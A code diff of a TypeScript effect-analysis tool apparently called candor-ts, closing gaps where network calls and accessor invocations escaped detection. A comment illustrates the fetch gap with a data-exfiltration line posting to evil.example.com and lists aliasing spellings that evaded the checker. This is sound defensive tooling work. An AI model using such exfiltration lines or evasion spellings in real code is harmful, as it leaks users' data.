+ // ⟨R95⟩ …AND EVERY OTHER SPELLING, BY ASKING THE RESOLVED DECLARATION INSTEAD OF THE CALLEE.
7760
+ //
7761
+ // Every arm above keys on the CALLEE's own identity — its node text, or its symbol's declaration
7762
+ // file. That question has now been wrong in five spellings, all MEASURED silent at 0b360d4 and all
7763
+ // five confirmed to reach the network by executing them against a localhost listener:
7764
+ //
7765
+ // const { fetch } = globalThis; fetch(u) const { fetch: f } = globalThis; f(u)
7766
+ // const g = globalThis; g.fetch(u) (0, fetch)(u)
7767
+ // const a = [fetch]; a[0](u)
7768
+ //
7769
+ // Each one binds `fetch` to a declaration INSIDE a project file — a BindingElement, a
7770
+ // VariableDeclaration — which is precisely what the shadow guard above reads as "the project's own
7771
+ // fetch", so the guard withheld Net. `deny Net`, `deny Unknown`, `deny Net Unknown`, `pure`, and
7772
+ // both scoped forms all answered exit 0, `policy ✓`, 0 effectful functions over
7773
+ // const { fetch } = globalThis;
7774
+ // await fetch("https://evil.example.com/collect", { method: "POST", body: data });
7775
+ //
7776
+ // `crypto` does NOT have this hole, and the difference is the MECHANISM, not the effect: its arms
7777
+ // key on the RESOLVED DECLARATION (the es-lib `parent === "Crypto"` arm below, and κ's
7778
+ // `web-globals/crypto` rule), so a destructured `crypto` still resolves to `Crypto.randomUUID` and
7779
+ // is charged. Converge on that rather than patching the identity gate a sixth time — brief §G, ask
7780
+ // the authority: the checker already knows which function this call reaches, and it answers the
7781
+ // same for all five spellings above (verified: one declaration, `web-globals/fetch.d.ts:23`).
7782
+ //
7783
+ // ADDITIVE, and last in the chain on purpose. Every arm above keeps priority, so no call that is
7784
+ // Net today can stop being Net and no host capture below changes for a call that already matched
7785
+ // (the previous ts fix in this vein REPLACED a resolution where it should have unioned, and cost
7786
+ // hono's `hc` its `Clock`). This arm can only ADD Net to calls that are reported PURE today.
7787
+ else if (resolvedIsHostFetch(node)) geff = "Net";
6051
7788
  // An alias chain this helper stopped following is an UNRESOLVED callee, not a pure one.
6052
7789
  if (un.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
6053
7790
  if (geff) {
@@ -6153,11 +7890,114 @@ function visitCalls(node) {
6153
7890
  }
6154
7891
  // Object.assign(target, ...sources) copies each SOURCE's own enumerable props → invokes their
6155
7892
  // getters (the object-spread twin). Enumerate the sources' local getters.
6156
- if (callee.getText().replace(/\s+/g, "") === "Object.assign") {
7893
+ //
7894
+ // R116 — …AND THE TARGET'S SETTERS, which the copy invokes for every key it writes. See
7895
+ // `enumerateTargetSetters`: the source arm and the target arm are the two halves of one operation
7896
+ // and only one of them existed.
7897
+ // THE `globalThis.` QUALIFIER (SOUNDNESS row id pending — filed by the coordinator) — the SAME
7898
+ // text, recognised through the qualifier too. `globalBuiltinCallee`
7899
+ // is the one authority for that question (`envTouchingBuiltinCall` reads it as well); a second
7900
+ // private copy is how the next spelling gets missed.
7901
+ const ct116 = globalBuiltinCallee(callee) ?? callee.getText().replace(/\s+/g, "");
7902
+ if (ct116 === "Object.assign") {
6157
7903
  const owner = enclosing(node);
6158
- for (const src of (node.arguments ?? []).slice(1)) {
6159
- enumerateGetters(owner, checker.getTypeAtLocation(src));
7904
+ const sources = (node.arguments ?? []).slice(1);
7905
+ for (const src of sources) {
7906
+ enumerateGetters(owner, checker.getTypeAtLocation(src), src);
6160
7907
  }
7908
+ // SHADOW-GUARDED, like the `Reflect.set` arm below. The getter line above is NOT — it matches
7909
+ // `Object.assign` by TEXT, so a project's own `const Object = { assign(){} }` reaches it. That is
7910
+ // pre-existing and is REPORTED rather than silently widened here (it is a fabrication-direction
7911
+ // question of its own), but the charge this fix ADDS does not inherit the hole.
7912
+ if (globalBuiltinCallee(callee) === "Object.assign")
7913
+ enumerateTargetAccessors(owner, (node.arguments ?? [])[0], provenCopiedKeys(sources), "set",
7914
+ { why: "dynamic-keyset", keyType: null }); // R247 — copies string AND symbol keys
7915
+ }
7916
+ // SOUNDNESS R252 — THE OTHER BUILTINS THAT READ EVERY OWN ENUMERABLE **VALUE**, AND THE COMMENT
7917
+ // THAT RULED THEM OUT ON THE WRONG HALF OF THE QUESTION.
7918
+ //
7919
+ // `Object.entries`/`Object.values`/`JSON.stringify`/`structuredClone` each read every own enumerable
7920
+ // property's VALUE, so each invokes an own enumerable getter exactly as a spread or an
7921
+ // `Object.assign` SOURCE does. They are the same operation as the line above; nothing routed them
7922
+ // through it. Executed: caller ABSENT from `functions[]` in all four, `deny Fs` and `pure` scoped to
7923
+ // the caller both exit 0 over a tree containing nothing but the literal and the call.
7924
+ //
7925
+ // WHY IT SURVIVED, and it is the constraint on the fix rather than trivia. R115's comment states
7926
+ // "`JSON.stringify(c)` and `Object.entries(c)` STAYING PURE IS CORRECT … (executed: 0 invocations on
7927
+ // a class instance)". That is TRUE — a class accessor is installed on the prototype and is
7928
+ // non-enumerable, so these never visit it — and it is FALSE for an object LITERAL, whose getter is an
7929
+ // OWN enumerable property. The sentence measured the case in front of it and then read as a general
7930
+ // ruling. §K, in a comment written by the commit that needed it.
7931
+ //
7932
+ // SO THE CLASS-INSTANCE ANSWER MUST NOT MOVE — it is correct, and it is this fix's over-charge
7933
+ // control. That is why this routes through `enumerateGetters` rather than growing a private loop:
7934
+ // `classBodiedGetter` is exactly R115's exclusion, so the correct half is preserved BY CONSTRUCTION
7935
+ // instead of by a second implementation that has to remember to agree (§G).
7936
+ //
7937
+ // GROUND TRUTH EXECUTED, node 22.12.0, counting real getter invocations — object LITERAL vs CLASS
7938
+ // instance. The zeroes are as load-bearing as the ones: they are the rest of the sweep, and they are
7939
+ // why this list is four names and not "every whole-object builtin".
7940
+ // Object.entries 1/0 Object.values 1/0 JSON.stringify 1/0 structuredClone 1/0
7941
+ // Object.keys 0/0 Object.getOwnPropertyNames 0/0 Object.getOwnPropertyDescriptors 0/0
7942
+ // Object.freeze 0/0 Object.seal 0/0 for..in 0/0 console.log 0/0 String(o) 0/0
7943
+ // `${o}` 0/0 util.inspect(o) 0/0 assert.deepStrictEqual 0/0
7944
+ // `Object.keys` and `getOwnPropertyNames` read NAMES, never values; a descriptor read returns the
7945
+ // accessor function itself without calling it; `console.log`/`util.inspect` print `[Getter]`.
7946
+ // (`Object.assign` and spread are the line above; `{...o}`/rest are the object-literal arm.)
7947
+ //
7948
+ // RESIDUALS, stated as the open list they are: `console.log("%j", o)` and
7949
+ // `util.inspect(o, {getters: true})` DO invoke (executed 1) and are option/format-string dependent;
7950
+ // and every one of these reads NESTED objects too — `JSON.stringify({ a: lit })` and
7951
+ // `structuredClone([lit])` invoke the getter one level down (executed 1), which no arm here reaches
7952
+ // because `enumerateGetters` asks the ARGUMENT's own property list.
7953
+ // R281 — `structuredClone` asks `globalBareCallee`, the SAME authority the Env arm asks, so the two
7954
+ // consumers of `ENV_TOUCHING_GLOBAL` cannot drift the way they just did. The identifier-only test
7955
+ // this replaces was copied here by R252 from the Env arm six commits after `f58dc0f` had fixed the
7956
+ // identical hole one table over.
7957
+ if (["Object.entries", "Object.values", "JSON.stringify"].includes(globalBuiltinCallee(callee))
7958
+ || globalBareCallee(callee) === "structuredClone") {
7959
+ const arg = (node.arguments ?? [])[0];
7960
+ if (arg) enumerateGetters(enclosing(node), checker.getTypeAtLocation(arg), arg);
7961
+ }
7962
+ // R116 §9 — WIDENED PAST THE ROW'S OWN TRIGGER, by grepping the MECHANISM ("a builtin that writes a
7963
+ // property into a caller-supplied target") rather than the one call the row named. `Reflect.set(t, k,
7964
+ // v)` is specified to run the setter the property lookup finds, and it was silent for the same reason
7965
+ // — EXECUTED, 1 setter invocation for both the literal-key and the runtime-key spelling, and both
7966
+ // ABSENT from `functions[]` before this. A literal key names exactly one property; a runtime key can
7967
+ // name any, so it falls to the unprovable branch and charges every setter the target declares.
7968
+ // (`Object.defineProperty`/`defineProperties` are deliberately NOT here: a descriptor INSTALLS a
7969
+ // property and bypasses the setter — executed, 0 invocations — and the engine already indexes those
7970
+ // through `definePropAccessors`. `Object.create`/`structuredClone`/spread all build fresh objects.)
7971
+ //
7972
+ // SHADOW-GUARDED with `identIsGlobal`, which the `Object.assign` line above still is not — a
7973
+ // project's own `const Object = …` would match its text test. Left as it is rather than widened
7974
+ // silently: it is a separate (fabrication-direction) question, it is REPORTED rather than folded in
7975
+ // here, and this new arm does not inherit the hole.
7976
+ //
7977
+ // SOUNDNESS R251 — `Reflect.get(t, k)` IS THE SAME ARM, AND IT DID NOT EXIST. Found the way R116's
7978
+ // own `Reflect.set` sibling was: by grepping the MECHANISM rather than the name. The two are one
7979
+ // table entry apart in `ENV_TOUCHING_BUILTIN` above, and only one of them had an accessor arm.
7980
+ // EXECUTED: 1 getter invocation for the literal-key spelling AND for the runtime-key one, on an
7981
+ // object literal AND on a class instance; the caller was ABSENT from `functions[]` in all four.
7982
+ //
7983
+ // ONE key-set expression for both directions, deliberately, because two spellings of one question
7984
+ // is what R247 was filed to close and a second copy here would reopen it (§G / F1-3). Today it is a
7985
+ // string-literal test: a literal key names exactly one property, anything else falls to the
7986
+ // unprovable branch and DISCLOSES. It is knowingly weaker than `accessorsAt`, which pins a key
7987
+ // whose TYPE names a finite set (R240(a): `const k = "token"`, a literal union, a string enum) — so
7988
+ // `s[k] = v` resolves a pinned key while `Reflect.set(s, k, v)` discloses `Unknown` for it. That
7989
+ // residual fails in the DISCLOSE direction, not the silent one, so it is a precision gap and is
7990
+ // REPORTED as its own row rather than folded into this fix's pricing.
7991
+ const reflectKeySet = (k) => (k && ts.isStringLiteralLike(k) ? new Set([k.text]) : null);
7992
+ for (const [name, kind] of [["Reflect.set", "set"], ["Reflect.get", "get"]]) {
7993
+ if (globalBuiltinCallee(callee) !== name) continue;
7994
+ const k = (node.arguments ?? [])[1];
7995
+ // R247 — an unprovable key here answers with R240(b)'s OWN tag, because `Reflect.set(t, k, v)` and
7996
+ // `t[k] = v` are one operation: one runtime key, at most one setter (executed above). R251 —
7997
+ // `Reflect.get(t, k)` and `t[k]` are that same one operation on the read side, so it takes the
7998
+ // same tag; a `deny Unknown[reflect]` written for one already selects the other.
7999
+ enumerateTargetAccessors(enclosing(node), (node.arguments ?? [])[0], reflectKeySet(k), kind,
8000
+ { why: "dynamic-key", keyType: k ? checker.getTypeAtLocation(k) : null });
6161
8001
  }
6162
8002
  }
6163
8003
  // GET/SET ACCESSOR access (the silent-pure-accessor fix): a property read that resolves to a
@@ -6177,25 +8017,33 @@ function visitCalls(node) {
6177
8017
  const compoundAssign = isBinAssign && !simpleAssign
6178
8018
  && p.operatorToken.kind >= ts.SyntaxKind.FirstAssignment && p.operatorToken.kind <= ts.SyntaxKind.LastAssignment;
6179
8019
  const recordKind = (kind) => {
6180
- const hit = accessorAt(node, kind);
6181
- if (hit) {
8020
+ const hits = accessorsAt(node, kind);
8021
+ if (hits && hits.length) {
6182
8022
  const owner = enclosing(node);
6183
8023
  if (!owner) return;
6184
- const an = hit.decl.parent?.name?.getText?.() ?? "?";
6185
8024
  const pn = node.name?.getText?.() ?? node.argumentExpression?.getText?.() ?? "?";
6186
- recordAccessorHit(owner, hit, `${an}.${pn}`);
8025
+ // R284 — `?` is not an owner. A type-alias-declared accessor's parent is a TypeLiteral with no
8026
+ // name; the alias that declares it does have one. BARE here, matching this label's existing
8027
+ // spelling (`reflect:` detail is best-effort per §4, and requalifying it would move strings
8028
+ // nothing asked to move) — the fallback only fires where the old code printed `?`.
8029
+ for (const hit of hits) {
8030
+ const aOwner = hit.decl.parent?.name?.getText?.() ?? namedTypeAncestor(hit.decl)?.name?.getText?.() ?? "?";
8031
+ recordAccessorHit(owner, hit, `${aOwner}.${pn}`, node.expression);
8032
+ }
6187
8033
  return;
6188
8034
  }
6189
8035
  // No type-level accessor — try the `Object.defineProperty` runtime-accessor index. The checker
6190
8036
  // types target.key as a data prop, so an effectful defineProperty getter/setter is invisible to
6191
- // accessorAt; consult definePropForceTarget so the forcing site edges to the descriptor unit
8037
+ // accessorsAt; consult definePropForceTarget so the forcing site edges to the descriptor unit
6192
8038
  // (precise) instead of reading silent-pure (the cardinal sin). A descriptor we minted is always
6193
8039
  // local, so this is an EDGE; never Unknown for a resolved-and-seen descriptor.
6194
- const dpNode = definePropForceTarget(node, kind);
6195
- if (dpNode) {
8040
+ const dpNodes = definePropForceTarget(node, kind);
8041
+ if (dpNodes.length) {
6196
8042
  const owner = enclosing(node);
6197
- const t = owner && nodeName.get(dpNode);
6198
- if (t) fns.get(owner).edges.add(t);
8043
+ if (owner) for (const dpNode of dpNodes) {
8044
+ const t = nodeName.get(dpNode);
8045
+ if (t) fns.get(owner).edges.add(t);
8046
+ }
6199
8047
  return;
6200
8048
  }
6201
8049
  // A computed-key descriptor accessor on this receiver's target means `recv.<anything>` MIGHT
@@ -6211,6 +8059,61 @@ function visitCalls(node) {
6211
8059
  if (kinds && kinds.has(kind)) {
6212
8060
  const owner = enclosing(node);
6213
8061
  if (owner) { fns.get(owner).direct.add("Unknown"); fns.get(owner).why.add(`reflect:defineProperty:dynamic-key`); } // dynamic-key descriptor install — metaprogramming, canonical `reflect:`
8062
+ return;
8063
+ }
8064
+ }
8065
+ // SOUNDNESS R240(b) — AN UNPINNABLE KEY ON A RECEIVER THAT DECLARES ACCESSORS.
8066
+ // `hits === null` means the key names no finite property set (`k: string`), so R240(a)'s resolver
8067
+ // had nothing to enumerate. Charging every declared accessor would be a guess about WHICH one runs;
8068
+ // saying nothing certifies the caller pure, which is the cardinal sin. Disclose `Unknown` — the
8069
+ // posture this same function already takes eleven lines up for a computed-key `defineProperty`
8070
+ // descriptor, and the one §4 prescribes for an unresolvable target.
8071
+ //
8072
+ // GATED ON THE RECEIVER'S OWN DECLARATIONS, so it is not a blanket hedge on every `obj[k] = v`: a
8073
+ // receiver type that declares NO accessor of this kind cannot invoke one, and stays ABSENT
8074
+ // (executed: 0 real writes). Measured over 17 corpus entries — 5,535 unpinnable element accesses,
8075
+ // of which 14 sit on a receiver declaring an accessor of the wanted kind.
8076
+ if (hits === null) {
8077
+ const rt = checker.getTypeAtLocation(node.expression);
8078
+ // A SYMBOL-NAMED accessor (`get [Symbol.toStringTag]() {…}`) cannot be reached by a STRING key,
8079
+ // and arming the disclosure on one is a fabrication, not a hedge. FOUND BY AUDITING THE CORPUS
8080
+ // ROWS RATHER THAN THE COUNT: the first cut of this branch fired on all six flagged
8081
+ // `AxiosHeaders` methods in axios 1.7.2 — every one because `AxiosHeaders` declares
8082
+ // `get [Symbol.toStringTag]()`, which `self[key]` with `key: string` can never name. The
8083
+ // exclusion is a DENYLIST of the PROVEN-unreachable: it fires only when EVERY declaration of
8084
+ // the property has a computed name whose expression is symbol-TYPED, and it lifts entirely if
8085
+ // the key's own type could hold a symbol (`PropertyKey`, `symbol`, `any`).
8086
+ // BOTH DIRECTIONS, because the first cut had only one and the corpus caught it twice. A string
8087
+ // key cannot name a symbol property, AND a symbol key cannot name a string one — the mirror was
8088
+ // missing and produced the whole of this branch's measured price: mongoose 8's 18 rows traced to
8089
+ // ONE direct source, `types/objectid.js:39` `ObjectId.prototype[objectIdSymbol] = true` with
8090
+ // `objectIdSymbol: unique symbol`, armed by bson's STRING-named `get id()`. Same audit-boundary
8091
+ // error one line over from the fix for it.
8092
+ // R247 — the two-way symbol/string test now lives in `keyCouldNameAccessor`, ONE authority shared
8093
+ // with `enumerateTargetSetters`'s `Reflect.set` arm. The behaviour here is unchanged (pinned by
8094
+ // the four symbol rows below); what changed is that the other spelling now asks the same code.
8095
+ const keyT = ts.isElementAccessExpression(node) && node.argumentExpression
8096
+ ? checker.getTypeAtLocation(node.argumentExpression) : null;
8097
+ for (const prop of (rt?.getProperties?.() ?? [])) {
8098
+ if (!accessorsFromSym(prop, kind).length) continue;
8099
+ if (!keyCouldNameAccessor(prop, keyT)) continue;
8100
+ const owner = enclosing(node);
8101
+ if (owner) { fns.get(owner).direct.add("Unknown"); fns.get(owner).why.add(`reflect:accessor:dynamic-key`); } // runtime-chosen property name — metaprogramming, canonical `reflect:`
8102
+ return;
8103
+ }
8104
+ // …and the same question for a `defineProperty` DESCRIPTOR: the descriptor was installed under a
8105
+ // LITERAL key (so `definePropDynamicKey` above does not fire) but is being reached through an
8106
+ // unpinnable one, which is the mirror of that case and was silent for the mirror reason.
8107
+ if (definePropAccessors.size > 0) {
8108
+ const r0 = checker.getSymbolAtLocation(node.expression);
8109
+ const r1 = r0 && (r0.flags & ts.SymbolFlags.Alias)
8110
+ ? (() => { try { return checker.getAliasedSymbol(r0); } catch { return r0; } })() : r0;
8111
+ const byKey = (r1 && definePropAccessors.get(r1)) || (r0 && definePropAccessors.get(r0));
8112
+ if (byKey) for (const e of byKey.values()) if (e?.[kind]) {
8113
+ const owner = enclosing(node);
8114
+ if (owner) { fns.get(owner).direct.add("Unknown"); fns.get(owner).why.add(`reflect:accessor:dynamic-key`); }
8115
+ break;
8116
+ }
6214
8117
  }
6215
8118
  }
6216
8119
  };
@@ -6229,14 +8132,15 @@ function visitCalls(node) {
6229
8132
  if (owner) {
6230
8133
  const recvType = checker.getTypeAtLocation(node.initializer);
6231
8134
  for (const el of node.name.elements) {
6232
- if (el.dotDotDotToken) { enumerateGetters(owner, recvType); continue; } // `...rest` copies every
8135
+ if (el.dotDotDotToken) { enumerateGetters(owner, recvType, node.initializer); continue; } // `...rest` copies every
6233
8136
  // remaining prop → invokes every (remaining) getter; enumerate all (the bound ones double-handle).
6234
8137
  const key = el.propertyName ?? el.name; // `{prop}` shorthand, or `{prop: alias}`
6235
8138
  const keyName = ts.isIdentifier(key) ? key.text
6236
8139
  : ts.isStringLiteralLike(key) ? key.text : null;
6237
8140
  if (keyName === null) continue; // computed key (`{[k]: v}`) — unresolvable to one property
6238
- const hit = accessorFromSym(recvType?.getProperty?.(keyName), "get");
6239
- if (hit) recordAccessorHit(owner, hit, keyName);
8141
+ for (const sym of propertySymbolsAcrossArms(recvType, keyName)) // R259
8142
+ for (const hit of accessorsFromSym(sym, "get"))
8143
+ recordAccessorHit(owner, hit, keyName);
6240
8144
  }
6241
8145
  }
6242
8146
  }
@@ -6252,7 +8156,7 @@ function visitCalls(node) {
6252
8156
  iterExpr = node.expression; // {...bag} — object spread is NOT iteration (copies own enumerable
6253
8157
  // props, no [Symbol.iterator]); wellKnownSymbolMember finds none and edges nothing for iteration.
6254
8158
  // But the copy DOES invoke each source getter — enumerate them (the silent-pure object-spread hole).
6255
- enumerateGetters(enclosing(node), checker.getTypeAtLocation(node.expression));
8159
+ enumerateGetters(enclosing(node), checker.getTypeAtLocation(node.expression), node.expression);
6256
8160
  }
6257
8161
  else if (ts.isVariableDeclaration(node) && ts.isArrayBindingPattern(node.name) && node.initializer)
6258
8162
  iterExpr = node.initializer; // const [a] = bag
@@ -7243,9 +9147,22 @@ if (process.env.CANDOR_WORKSPACE_CHAIN) {
7243
9147
  // the candor-scan `lt.count > 1` / candor-swift ownersByTail guards.
7244
9148
  // The union arms, normalised to [InterfaceDeclaration, implementing class NAMES]: the in-scan CHA
7245
9149
  // universe, plus the same relation read out of a PUBLISHED package's own typings (see below).
9150
+ //
9151
+ // ⟨CARDINAL SIN FIX audit, PART 87 follow-up, 2026-09-01⟩ `interfaceImpls` (since PART 87) also holds
9152
+ // STRUCTURAL implementors — an ObjectLiteralExpression/ClassExpression/bound-ref target has no `.name`
9153
+ // at all, so `.filter(Boolean)` drops it here. This union is fundamentally NAME-keyed (a cross-package
9154
+ // consumer resolves `pkg#Iface.member` against a class NAME in the dependency's own source, and
9155
+ // `localEffs` below is keyed `${className}.${member}` — an anonymous implementor's effects have no
9156
+ // name to be looked up under even if kept in the array). Rather than silently union only the implementors
9157
+ // that happen to have a name — which reads "pure across all impls" when a dropped, unnamed one might
9158
+ // not be — record whether any implementor was dropped, so the emission loop below can force the SAME
9159
+ // honest-Unknown widening it already applies when CHA_FANOUT_LIMIT is exceeded, instead of a narrower
9160
+ // claim than the evidence supports.
7246
9161
  const unionArms = [];
7247
- for (const [ifaceDecl, implClasses] of interfaceImpls)
7248
- unionArms.push([ifaceDecl, implClasses.map((c) => c.name?.text).filter(Boolean)]);
9162
+ for (const [ifaceDecl, implClasses] of interfaceImpls) {
9163
+ const names = implClasses.map((c) => c.name?.text).filter(Boolean);
9164
+ unionArms.push([ifaceDecl, names, names.length < implClasses.length]);
9165
+ }
7249
9166
  const inScanClassesByName = new Map(); // iface NAME -> every class the in-scan arms register under it
7250
9167
  for (const [d, cls] of unionArms) {
7251
9168
  const n = d.name?.text;
@@ -7309,9 +9226,15 @@ if (process.env.CANDOR_WORKSPACE_CHAIN) {
7309
9226
  const n = ifaceDecl.name?.text;
7310
9227
  if (n) ifaceNameCounts.set(n, (ifaceNameCounts.get(n) ?? 0) + 1);
7311
9228
  }
7312
- for (const [ifaceDecl, implClasses] of unionArms) {
9229
+ for (const [ifaceDecl, implClasses, hadUnnamed] of unionArms) {
7313
9230
  const ifaceName = ifaceDecl.name?.text;
7314
- if (!ifaceName || !implClasses.length) continue;
9231
+ // ⟨CARDINAL SIN FIX, structural-implementor gap⟩ `!implClasses.length` used to skip the arm outright
9232
+ // — correct when there are genuinely zero implementors, but an interface implemented ONLY
9233
+ // structurally (every implementor unnamed, `implClasses` empty, `hadUnnamed` true) would silently
9234
+ // publish NO union entry at all, which is a purity claim (SPEC §2 rule 3) this evidence does not
9235
+ // support. `hadUnnamed` keeps the arm alive for that case so the `broad` forcing below can widen it
9236
+ // to Unknown instead of the arm vanishing before `broad` is ever computed.
9237
+ if (!ifaceName || (!implClasses.length && !hadUnnamed)) continue;
7315
9238
  // Never guess which `I` a name means: two declarations of it, or a census that cannot prove there is
7316
9239
  // only one, are the same evidential position and take the same answer.
7317
9240
  if (ifaceNameCounts.get(ifaceName) > 1 || typings.truncated) continue;
@@ -7330,7 +9253,9 @@ if (process.env.CANDOR_WORKSPACE_CHAIN) {
7330
9253
  // key. What silence would cost is this report's own honesty — the producer's `deny E
7331
9254
  // Unknown[dispatch]`, any consumer without half 1's conjuncts, and the entry that is read as data
7332
9255
  // rather than joined. The named tests that fail on that mutation are the producer-side three.
7333
- const broad = implClasses.length > CHA_FANOUT_LIMIT;
9256
+ // `hadUnnamed` widens the same way: a structural implementor this union cannot name is exactly as
9257
+ // unaccountable as the (CHA_FANOUT_LIMIT + 1)th named one.
9258
+ const broad = implClasses.length > CHA_FANOUT_LIMIT || hadUnnamed;
7334
9259
 
7335
9260
  for (const member of ifaceDecl.members ?? []) {
7336
9261
  // Both spellings of an interface method (see the in-scan site): `run(): void` and
@@ -7745,6 +9670,37 @@ let peekAttempted = false;
7745
9670
  // per CLASS, so the answer is too: a class is peeked only when no file of that class went unread.
7746
9671
  const peekUnread = new Set();
7747
9672
  let peekUnattributed = false;
9673
+ // ⟨0.19⟩/⟨0.24⟩ SPEC §6.2 — THE POLICY'S REASON-CLASS VOCABULARY (`.candor/config` `unknown-alias`),
9674
+ // parsed ONCE here and read by BOTH the peek below and the §6.2 gate far below. It used to be parsed only
9675
+ // at the gate, and the peek passed a bare `{}` in its place.
9676
+ //
9677
+ // R154: `{}` is not an EMPTY alias map, it is an object with no `.has`. `parsePolicy`'s alias arm reads
9678
+ // `else if (aliases && aliases.has(cn))` — truthy, then TypeError — so the FIRST `Unknown[<token>]` whose
9679
+ // token is not `*`, `dynamic` or a built-in REASON_CLASS threw straight into the peek's catch, leaving
9680
+ // `peekPolicy` null. The peek was then never ATTEMPTED, which is strictly worse than a peek that ran and
9681
+ // found nothing: `outOfScope` and `scannedUnder` go ABSENT rather than `[]`, `excluded[].peeked` reads
9682
+ // false, and ⟨0.30⟩'s fail-closed INCOMPLETE verdict never arms. MEASURED on published 0.35.0 over one
9683
+ // excluded file performing `Fs`: `deny Fs` alone exits 2 naming the function; adding `deny Unknown[corp]`
9684
+ // beside it exits 0 `policy ✓` with no disclosure of any kind. An unrelated rule turned a red verdict
9685
+ // green — while the gate honoured that same rule correctly, so two paths disagreed about one policy.
9686
+ //
9687
+ // THE TRIGGER IS A TOKEN THE MAP IS NEEDED FOR, not an alias being defined. `Unknown[nosuchalias]` disarms
9688
+ // the peek identically; there the gate's own §6.2 refusal happens to hold the exit at 2, which is why only
9689
+ // the defined-alias spelling surfaces as a silent under-report. `Unknown[reflect]` (a built-in class)
9690
+ // never reaches the alias arm and was always fine — that pair is what isolates the arm.
9691
+ //
9692
+ // ANCHORED AT THE POLICY FILE, the same anchor the gate uses (SPEC §3.1 `99eb4e9`) — vocabulary travels
9693
+ // with the policy that uses it, and two anchors would expand one rule two ways. Memoized rather than
9694
+ // eager, so `parseUnknownAliases`'s own stderr warnings are still printed exactly once.
9695
+ let policyAliasMap = null, policyAliasErrs = null;
9696
+ const policyAliases = () => {
9697
+ if (policyAliasMap === null) {
9698
+ policyAliasErrs = [];
9699
+ policyAliasMap = parseUnknownAliases(discoverConfigText(policyVocabularyAnchor(policyPath, target)),
9700
+ policyAliasErrs);
9701
+ }
9702
+ return policyAliasMap;
9703
+ };
7748
9704
  if (policyPath) {
7749
9705
  // ⟨0.33⟩ NO LONGER GATED ON `excludedFiles.length`. A tree with a policy and NOTHING excluded used to
7750
9706
  // skip this whole block, so `outOfScopeFindings`/`scannedUnderRules` stayed `null` and both
@@ -7761,17 +9717,40 @@ if (policyPath) {
7761
9717
  // run must not fail the gate" catch — findings silently empty, gate green. The catch is right; a bug
7762
9718
  // hiding behind it is not, which is why the trigger below is now a POSITIVE test on the rules.
7763
9719
  let peekPolicy = null;
7764
- try {
7765
- const pol = parsePolicy(fs.readFileSync(policyPath, "utf8"), {});
9720
+ // R154 — THE CATCH COVERS THE READ ONLY. It used to wrap the parse too, and its own comment named only
9721
+ // the read ("an unreadable policy"), which is exactly how the TypeError above sat behind it for a whole
9722
+ // rung: the ⟨0.30⟩ note above already records a ReferenceError hiding in this same catch, and answered it
9723
+ // by tightening the TRIGGER — which does nothing for a throw one line earlier. The ARGUMENT for
9724
+ // narrowing, stated as the assumption it is: the gate below calls the SAME `parsePolicy` on the SAME
9725
+ // bytes with the SAME map and no `try` at all, so on every input that reaches both, a throw here is one
9726
+ // that would kill the run at the gate anyway — catching it only moved where it died and made one of the
9727
+ // two places a silent green. That holds while both reach the parse, which is every run bar a policy file
9728
+ // that becomes unreadable between these two lines.
9729
+ //
9730
+ // ONE MEASURED BEHAVIOUR CHANGE, and it moves the right way. `policyAliases()` runs here now, and
9731
+ // `discoverConfigText` refuses an existing-but-unreadable `.candor/config` with `process.exit(2)`. Where
9732
+ // the policy is filed in a tree of its OWN whose config is unreadable — the only case the target-anchored
9733
+ // reads at :1151/:1314 do not already catch — the refusal now lands BEFORE the envelope is written
9734
+ // instead of after. MEASURED both arms: exit 2 either way, report WRITTEN at 0.35.0 and NONE here, which
9735
+ // is the §3.1 posture (a refusal produces no report), not a regression from it.
9736
+ let peekText = null;
9737
+ try { peekText = fs.readFileSync(policyPath, "utf8"); }
9738
+ catch { /* an unreadable policy is the gate's business to refuse (exit 2), not the peek's */ }
9739
+ if (peekText !== null) {
9740
+ const pol = parsePolicy(peekText, policyAliases());
7766
9741
  // ⟨0.29⟩ A REFUSED POLICY LEAVES THE KEY ABSENT (SPEC §2). The peek is a producer reading the policy,
7767
9742
  // so §3.1 binds it exactly as it binds the gate: over a policy no route will honour, `outOfScope: []`
7768
9743
  // claims a look taken against rules that never stood, and the `denied` set it would look for is the
7769
9744
  // parser's SALVAGE of an unhonourable file — the rewriting `fatalPolicyErrors` exists to refuse.
7770
9745
  // candor-java already withheld here; this engine, candor-rust and candor-swift did not.
7771
- if (!fatalPolicyErrors(pol.errors).length) {
9746
+ // R154: the ALIAS-DEFINITION errors count under that same rule, and the gate already folds them into
9747
+ // its own refusal (`parseErrs` below). `unknown-alias corp = reflect,nativ` keeps `corp` in the map, so
9748
+ // `pol.errors` alone is EMPTY and the peek would have published `outOfScope`/`scannedUnder` against a
9749
+ // policy the gate is about to refuse at exit 2 — a look taken under rules that never stood.
9750
+ if (!fatalPolicyErrors([...policyAliasErrs, ...pol.errors]).length) {
7772
9751
  peekPolicy = pol;
7773
9752
  }
7774
- } catch { /* an unreadable policy is the gate's business to refuse, not the peek's */ }
9753
+ }
7775
9754
  // ⟨0.30⟩ THE TRIGGER IS "ARE THERE DENY RULES", not "is the flattened effect-name set non-empty". The
7776
9755
  // old test read the name set, and `pure` is a deny rule with an EMPTY effect list meaning "every effect
7777
9756
  // except Unknown" — so under the STRICTEST policy the set was empty, the peek never ran, and the tree
@@ -8270,8 +10249,13 @@ if (unlistedSeen.size > 0) {
8270
10249
  const top = uncoveredLedger; // ⟨0.15 staged⟩ the shared sorted ledger — same names/counts as envelope `coverage`
8271
10250
  const shown = top.slice(0, 8).map(([p, n]) => `${p} (${n} call${n === 1 ? "" : "s"})`).join(", ");
8272
10251
  const more = top.length > 8 ? ` + ${top.length - 8} more` : "";
8273
- console.error(`candor-ts: candor's classifier doesn't cover ${top.length} package${top.length === 1 ? "" : "s"} this code calls into — `
8274
- + `their effects are INVISIBLE to the scan (absent from the report, NOT a claim they're pure): ${shown}${more}`);
10252
+ // ⟨R137⟩ "or answers for only part of its surface": the ledger counts CALLS κ did not cover, and a
10253
+ // package may be partly classified (a member-precise rule) and still owe an answer for the rest.
10254
+ // Saying only "doesn't cover this package" would be the same package-granular overstatement that
10255
+ // switched the ledger off in the first place, in the opposite direction.
10256
+ console.error(`candor-ts: candor's classifier doesn't cover ${top.length} package${top.length === 1 ? "" : "s"} this code calls into `
10257
+ + `(or answers for only part of ${top.length === 1 ? "its" : "their"} surface) — the calls below are INVISIBLE `
10258
+ + `to the scan (absent from the report, NOT a claim they're pure): ${shown}${more}`);
8275
10259
  // SCAN-COMPLETENESS NUDGE. A scan that sees the app but none of its dependencies leaves those
8276
